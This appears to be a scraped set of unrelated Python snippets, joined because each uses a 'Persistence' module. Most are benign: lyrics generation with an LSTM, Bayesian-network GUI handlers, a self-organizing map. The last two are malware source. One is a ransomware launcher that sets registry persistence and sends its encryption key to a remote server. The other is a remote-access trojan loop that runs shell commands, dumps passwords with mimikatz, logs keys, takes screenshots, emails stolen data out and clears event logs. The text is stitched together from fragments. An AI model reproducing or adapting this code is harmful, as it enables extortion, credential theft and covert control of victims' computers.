def __init__(self): # read and get the preprocessed lyrics and vocabulary info self.lyrics, self.vocabulary_info = songs.read_lyrics( "data/lyrics.csv") # save vocabulary if needed if not os.path.exists(config.vocabulary_path): io.save_vocabulary_info_json(self.vocabulary_info, config.vocabulary_path) # convert song lyrics to sequences self.dataset = songs.lyrics_to_dataset(self.lyrics, config.sequence_length)
def setup(): import Action global workerQueue global currentWork if workerQueue is None: workerQueue = Persistence.load("workerQueue.db", Queue, env=vars(Action)) if currentWork is None: currentWork = Persistence.load("currentWork.db", set, env=vars(Action)) _init_watcher_thread() _init_worker_threads()
def generate_main(start_seed=None): # if no seed was found create a default empty sequence if start_seed is None: start_seed = [SONG_BEGIN] print("Initializing...") # prepare environment if not os.path.isdir('./checkpoints/'): print("LSTM model must be trained first.") exit(1) if not os.path.isdir('./data/'): print("LSTM model must be trained first.") exit(1) print("Restoring vocabulary and model...") vocabulary_info = io.read_vocabulary_info_json(config.vocabulary_path) data_transformer = DatasetTransformer(vocabulary_info) # create model instance (vocabulary length + 3 is for synthetic words like SONG_BEGIN) lyrics_model = LSTMModel(len(vocabulary_info) + 3) lyrics_model.set_dataset_transformer(data_transformer) print("Generating...") text = lyrics_model.generate_text(data_transformer, start_seed) print("Generated Song:\n", text, "\n") return 0
def LoadNetworkOKEventHandler(self,event): self.BayesNet = bn.Network() js2 = Persistence.readFile(self.frame2.fbb.GetValue()) self.BayesNet.from_JSON(js2) self.frame2.Destroy() self.BayesNet.drawNetwork() self.displayNetwork() print('Network loaded from: ',self.frame2.fbb.GetValue())
def mainFuncation(): task = input("Type 1 for Persistence, 2 for Factors, or 3 to quit") if task == "1": num = int(input("Enter a number: ")) print(Persistence.Persistence(num).persistence()) mainFuncation() elif task == "2": num = int(input("Enter a number: ")) print(NumberSearch.NumberSearch.factors(num)) mainFuncation() elif task == "3": print("Quit") exit() else: print("Invalid input, please enter 1, 2, or 3!") mainFuncation()
for j in range(len(board)): d = euclideanDistance(x[best], y[best], x[j], y[j]) h = np.exp((-1*(d**2))/(2*(S**2))) board[j].setWeight(board[j].getWeight() + N*h*(trX[i]-board[j].getWeight())) cost = difWeight(prev, board) print("Cost: {}".format(cost)) costV.append(cost) prev = deepcopy(board) bestNeurons = [] for i in range(len(trX)): index = getBest(distance(trX[i], board)) bestNeurons.append((x[index], y[index])) return bestNeurons, costV trX, labels = Persistence.getTrxPaises() # #Parameters neuronNumber = 20 #neuronNumber^2 nIterations = 100 S = neuronNumber/2 N = 0.001 N_limit = 0.01 S_limit = 1 T1 = nIterations*len(trX)/math.log(S) T2 = T1 board = initBoard(neuronNumber*neuronNumber, len(trX[0])) bestNeurons, costV = train(board, trX) Graphic.showCost(costV) Graphic.showBoard(bestNeurons, labels, neuronNumber)
def __repr__(self): return "Index(%s)" % Persistence.better_repr(self.sources)
def __repr__(self): return "Dir(%r, %s)" % (self.url, Persistence.better_repr( self.children))
""" with self.lock: return random.choice(list(self.sources.values())) def get_source(self, source): """ :param str source: :rtype: Dir """ with self.lock: return self.sources[source] def remove_source(self, source): """ :param Dir source: """ with self.lock: sources = {value: key for (key, value) in self.sources.items()} if source in sources: key = sources[source] Logging.log("remove source %r" % key) del self.sources[key] def __repr__(self): return "Index(%s)" % Persistence.better_repr(self.sources) filesystem = Filesystem() index = Persistence.load("index.db", Index)
def SaveNetworkOKEventHandler(self,event): Persistence.saveFile(self.frame3.fbb.GetValue(), self.BayesNet.to_JSON()) print('Network saved to: ',self.frame3.fbb.GetValue()) self.frame3.Destroy()
import os, \ threading, \ Crypto_files, \ Client, \ Gui, \ Persistence, \ List_external_HDD from cryptography.fernet import Fernet from ctypes import windll # Variables path = os.path.expanduser("~") + "\\Music\\test_ransomware\\" # Check, if the programm is executed with admin rights is_admin = windll.shell32.IsUserAnAdmin() # Check if registry key exists registry_key_exists = Persistence.check_if_key_exists(is_admin) if registry_key_exists: # Launch the GUI Gui.payment_function(path) else: # initialize variables i = 1 main_thread = threading.currentThread() # Create the persistence Persistence.create_persistence(is_admin) # Generate the key key = Fernet.generate_key() # Sending the key to the remote server
def main(self): # self.hidden_process() Persistence( ) # persistence - copy file and run when the windows starts # self.Execute_bypass_UAC() while True: decrypt_data = list() command = self.reliable_receive() # receive the buff from server for i in command: decrypt_data.append(str_xor(i, self.KEY)) print command print decrypt_data if decrypt_data[ 0] == "break": # if we got terminate order from the attacker, close the socket and break the loop print "[-] Close Connection!!!" self.s.close() break elif decrypt_data[0] == "cd" and len( decrypt_data) > 1: # run cd command line try: print decrypt_data[0] self.change_directory(decrypt_data[1]) print decrypt_data[1] _string_ = "[+] New directory: " + decrypt_data[1] self.send_server(_string_) except: temp = "[-] Path is incorrect: " + decrypt_data[1] self.send_server(temp) elif decrypt_data[0] == "drop": # drop file from server command_result = write_file(decrypt_data[1], decrypt_data[2]) self.send_server(command_result) elif decrypt_data[0] == "grab": # read a file from client command_result = read_file(decrypt_data[1]) self.send_server(command_result) elif decrypt_data[0] == "unzip": # unzip file .zip command_result = unzip(decrypt_data[1], decrypt_data[2]) self.send_server(command_result) elif decrypt_data[ 0] == "download": # download file with link download and create a file name try: download_file(decrypt_data[1], decrypt_data[2]) temp = "[+] DOWNLOAD SUCCESS FILE " + decrypt_data[2] self.send_server(temp) except: print("ERROR") temp = "[-] DOWNLOAD ERROR: " + decrypt_data[1] self.send_server(temp) elif decrypt_data[0] == "scan": # scan a range network using nmap try: command_result = scanner(decrypt_data[1], decrypt_data[2]) self.send_server(command_result) except: temp = "[-] ERROR! Syntax: scan <range> <port> ! Try again." self.send_server(temp) elif decrypt_data[ 0] == "mimikatz": # ussing mimikatz to dump password try: command_result = mimikatz() write_file("passdump.txt", command_result) send_mail(MY_EMAIL, MY_PASSWORD, command_result) self.send_server(command_result) except: encrypt_data = str_xor( "[-] ERROR when dump password! Try again.", self.KEY) self.reliable_send(encrypt_data) # elif decrypt_data[0] == "take": # try: # command_result = self.transfer(self.s, decrypt_data[1]) # self.send_server(command_result) # except: # temp = "[-] Error when take file from client. Try again!" # self.send_server(temp) elif decrypt_data[0] == "keylogger": try: command_result = self.keylogger.start() self.send_server(command_result) except: temp = "[-] Error when running Keylogger..." encrypt_data = str_xor(temp, self.KEY) self.reliable_send(encrypt_data) elif decrypt_data[0] == "screenshot": command_result = takeSreenshot(MY_EMAIL, MY_PASSWORD) self.send_server(command_result) elif decrypt_data[0] == 'dumpPass': command_result = str(dumpPass()) # dumppass return a list self.send_server(command_result) elif decrypt_data[ 0] == 'search': # search all file with path file and format file try: command_result = searchFile(decrypt_data[1]) SUBJECT = "SEARCHING FILE" command_result = 'Subject: {}\n\n{}'.format( SUBJECT, command_result) send_mail(MY_EMAIL, MY_PASSWORD, command_result) self.send_server("[+] Searching done! Check your mail....") except: command_result = "[-] Error systax: search <path>*<formatfile>" self.send_server(command_result) elif decrypt_data[0] == 'cleartracking': try: # clear event log: Application log, System log, Setup log, Security log command_result = clearEventlog() self.send_server(command_result) except: command_result = "[-] Error when clear event log!" self.send_server(command_result) elif decrypt_data[0] == 'tweetgrabber': try: command_result = str(tweet_grab_ipC2(decrypt_data[1])) self.send_server(command_result) except: command_result = '[-] Error when crawling IP C&C Address!!' self.send_server(command_result) elif decrypt_data[0] == '-help': command_result = "**********************Create by ThanhNX*******************" self.send_server(command_result) else: # otherwise, we pass the received command to a shell process result_command = self.communicate(decrypt_data) value_output = result_command.stdout.read( ) + result_command.stderr.read() # value = out put+ error self.send_server(value_output) # send value_output # privilege_escalation.clean_reg() self.s.close()